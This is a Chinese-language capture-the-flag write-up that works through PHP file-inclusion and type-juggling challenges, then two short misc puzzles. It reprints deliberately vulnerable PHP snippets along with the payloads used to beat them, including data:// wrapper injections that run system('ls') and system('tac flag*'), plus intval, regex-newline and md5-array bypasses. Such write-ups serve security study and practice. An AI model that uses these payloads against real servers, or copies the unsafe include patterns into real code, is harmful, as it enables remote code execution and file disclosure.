文件包含:
一:if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
这题没什么特点,payload一个data伪协议或者php伪协议就绕过去了
二:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
看到我php被三个?所以不能使用php伪协议,此时就使用data伪协议
payload:?file=data://text/plain,<?=system('ls');?>
可以得到一个flag文件
在payload:?file=data://text/plain,<?=system('tac flag*');?>
得到flag
有个知识点cat指令把flag.php的内容导出后依然遵循php的语法,那么没有echo语句,就无法显示,而tac指令将一切倒过来后:就不是php语句了,在html语句里就就会直接显示出来。
所以我认为一般都使用tac指令吧
三
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
} 可以看出和上一题相似,php和data关键字都被过滤了,想到可能还有大小写绕过
了解到有一个日志包含,但是模仿B站上还没做出来(苦笑)
四
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
使用php://filter 发现不行,猜测应该被过滤了,接着用read,encoud,base,都返回一个do not back,
上网了解到
php有两种过滤器string和iconv,但是string还是被过滤,那就使用bp抓包群集爆破,
得到的类型状态和长度只有两种,分清不开,那只能一个一个放到重放器里面去试得到flag
五
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
与第三题一样尝试使用日志包含但是还是没有做到(汗流浃背)
php特性
六
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
“preg_grep(正则表达式,数组,$flags)”;参数“$flags”
所以我们payload一个数组一到九范围的即可得到flag
七
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}相关的知识int intval( var,base)
//var指要转换成 integer 的数量值,base指转化所使用的进制
Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
◦ 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
◦ 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
◦ 将使用 10 进制 (decimal)。
所以对4476采用8进制即可获得flag
八
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}看到有与第一次两个正则表达式
知识:第一个使用了'/im',这意味着i(忽略大小写)和m(多行模式)。第二个只使用了'i',也就是忽略大小写。
所以我分析得到要符合第一个的if并且不符合第二个if语句
payload:?cmd=%0aphp(%0a)是换行,同时不满足第二匹配(固定字符串"php")
九
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
从上往下看此题只能符合ntval($num,0)==4476这一条
将4476八进制然后payload:?num=010574得到flag
十
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){这里检查提交的数字第一个不能出现0
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
而且里面三个等号,严格相等
知识点:strpos() f函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。
所以我就payload:4476.0得到flag
十一
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){这里忽略掉大小写,并且/还有.都过滤了
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
它将尝试将一个字符串转换为一个整数。第二个参数 0
是可选的,它定义了要使用的基数。在您的例子中,基数被设置为 0
,这意味着函数将尝试解析字符串,并返回一个十进制的整数。
所以我payload第一个为0再将4476八进制编码
想到+
会被解释成空格。所以在前面放入+得到flag
用其他符号就不符合第三个if
payload:?num=+010574
十二
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
payload:u=flag.php1绕过第一个if
得到
提示不存在那么这个路径那么就将之前的1去掉加入路径得到payload:
十三:
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
要a和b不相等,但在内层第三个if中又相等,所以想到一个知识点
知识:md5弱类型比较可以直接数组绕过,其结果都会转换为nul
payload:a[]=1&b[]=3
十四misc
尝试转为十六进制得到:0x3d3d3d3d513642475354334f4859464d37435a415450424f4454344348324d4e37434e36565a414f5a3358474859344b374b354144474e504553554355495a49
还没看出,转化为字符串试试用ascii编码得到====Q6BGST3OHYFM7CZATPBODT4CH2MN7CN6VZAOZ3XGHY4K7K5ADGNPESUCUIZI
再将他倒过来进行base64解码得到FQARD{L0u_W0s_yp3_4_k4qrcp_0d_apwnr0}
形式不对再使用凯撒解码得到flag
十五
下载得到一个二维码
打开链接再解密就得到flag